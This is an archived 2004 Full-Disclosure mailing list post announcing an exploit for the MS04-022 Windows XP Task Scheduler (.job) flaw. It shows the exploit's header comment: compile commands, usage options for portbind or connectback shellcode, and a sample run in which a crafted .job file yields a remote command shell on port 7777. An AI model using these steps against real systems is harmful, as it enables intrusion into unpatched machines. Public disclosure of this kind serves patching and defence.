OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
[Full-Disclosure] (MS04-022) Microsoft Windows XP Task Scheduler (.job) Universal Exploit

From: pigrelax (pigrelaxyandex.ru)
Date: Sat Jul 31 2004 - 01:34:20 CDT


Hi all!

Microsoft Windows XP Task Scheduler (.job) Universal Exploit

* Tested on:
 * - Internet Explorer 6.0 (SP1) (iexplore.exe)
 * - Explorer (explorer.exe)
 * - Windows XP SP0, SP1
 *
 * -------------------------------------------------------------------
 * Compile:
 * Win32/VC++ : cl HOD-ms04022-task-expl.c
 * Win32/cygwin: gcc HOD-ms04022-task-expl.c -lws2_32.lib
 * Linux : gcc -o HOD-ms04022-task-expl HOD-ms04022-task-expl.c
 *
 * -------------------------------------------------------------------
 * Command Line Parameters/Arguments:
 *
 * HOD.exe <file> <shellcode> <bind/connectback port> [connectback IP]
 *
 * Shellcode:
 * 1 - Portbind shellcode
 * 2 - Connectback shellcode
 *
 * -------------------------------------------------------------------
 * Example:
 *
 * C:\>HOD-ms04022-task-expl.exe expl.job 1 7777
 *
 * (MS04-022) Microsoft Windows XP Task Scheduler (.job) Universal Exploit
 *
 * --- Coded by .::[ houseofdabus ]::. ---
 *
 * [*] Shellcode: Portbind, port = 7777
 * [*] Generate file: expl.job
 *
 * C:\>
 *
 * start IE -> C:\
 *
 * C:\>telnet localhost 7777
 * Microsoft Windows XP [Версия 5.1.2600]
 * (С) Корпор ция М йкрософт, 1985-2001.
 *
 * C:\Documents and Settings\v.X\Р бочий стол>
 *

http://www.securitylab.ru/46820.html

ЕЕЕЕЕЕЕЕЕЕЕ
MaxPatrol is a professional network security scanner distinguished by its
uncompromisingly high quality of scanning, optimized for effective use by
companies of any size (serving from a few to tens of thousands of nodes).
http://www.Maxpatrol.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html